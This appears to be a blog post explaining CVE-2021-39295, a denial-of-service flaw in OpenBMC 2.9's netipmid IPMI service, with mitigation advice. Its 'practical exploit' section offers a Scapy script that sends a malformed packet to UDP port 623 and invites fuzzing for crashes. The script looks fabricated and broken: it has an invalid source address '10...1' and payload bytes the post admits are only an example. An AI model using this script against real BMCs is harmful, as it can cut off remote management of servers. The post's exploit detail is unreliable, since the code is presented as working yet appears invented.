In recent years, OpenBMC has become a key firmware project for Baseboard Management Controllers (BMCs) in data centers worldwide. Administrators and cloud providers rely on OpenBMC for system management — but vulnerabilities can have outsized impacts. One such vulnerability, CVE-2021-39295, discovered in OpenBMC version 2.9, lets an attacker cause a Denial of Service (DoS) by sending specially crafted IPMI messages to the netipmid (IPMI lan+) interface.

This post will break down what this vulnerability is, why it matters, and include hands-on details and a proof-of-concept so you’ll understand both the risk and how it can be exploited.

What is OpenBMC & the netipmid Interface?

OpenBMC is an open-source firmware stack for BMCs, embedded Linux-powered microcontrollers used to monitor, manage, and recover servers remotely. The netipmid is a key service that listens on the network for IPMI (Intelligent Platform Management Interface) commands, mostly over port 623 (UDP), handling remote management instructions.

Official Summary

> An issue was discovered in OpenBMC 2.9. Crafted IPMI messages allow an attacker to cause a denial of service to the BMC via the netipmid (IPMI lan+) interface.

References:  
- NVD entry  
- OpenBMC Security Advisory  
- GitHub issue

How Does the Attack Work?

The vulnerability is caused by improper input validation in the netipmid service. It does not safely handle certain malformed or out-of-spec IPMI messages. By sending such traffic to the BMC’s management port, an attacker can cause the IPMI service (and sometimes, the whole BMC) to crash — making remote management impossible until a hardware reset.

Attack prerequisites

- Access to the BMC management network (sometimes this is a separate "management LAN"; in poorly designed setups, it’s reachable from production networks!)

Practical Exploit Details & Code Example

The exploit is simple: Send a malformed IPMI packet to UDP port 623.

from scapy.all import *

# Replace with the BMC’s IP address
BMC_IP = "192.168.1.100"
IPMI_PORT = 623

# This is a deliberately malformed IPMI packet
# For example: overly short payload, bad checksum, or wild netfn/cmd values
malformed_ipmi = b"\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00"

ipmi_pkt = IP(src="10...1", dst=BMC_IP)/UDP(sport=623, dport=IPMI_PORT)/Raw(malformed_ipmi)
send(ipmi_pkt, count=1)
print("Malicious packet sent.")

Notes

- You can fuzz the payload to find various crash/freeze scenarios.

Wireshark, tcpdump, and netcat are helpful for testing.

- After sending such packets a few times, the netipmid service will crash or the entire BMC may hang, requiring a hard reset.

The Real-World Impact

- Denial of Service: Attackers can stop all remote management, blocking firmware updates, sensor monitoring, and even emergency server access
- Attack chaining: This could be used as a starting point for bigger disruptions in cloud or enterprise environments

Remember: Many BMCs share network access with production systems due to poor segmentation, making them tempting targets for attackers.

Upgrade to a patched OpenBMC version (any post-2.9 releases, consult your vendor!)

- Restrict network access to BMCs — they should never be reachable from public or untrusted networks

Conclusion

CVE-2021-39295 is a simple but critical vulnerability in OpenBMC 2.9’s netipmid. Anyone controlling BMCs should check their firmware version and network setup immediately. Don’t let your data center infrastructure be knocked offline by a few malformed packets!

References:  
- CVE-2021-39295 (NVD)  
- OpenBMC Advisory  
- OpenBMC on GitHub

*Stay safe out there, and keep your BMCs patched!*

Timeline

Published on: 04/15/2023 20:16:00 UTC
Last modified on: 04/25/2023 18:23:00 UTC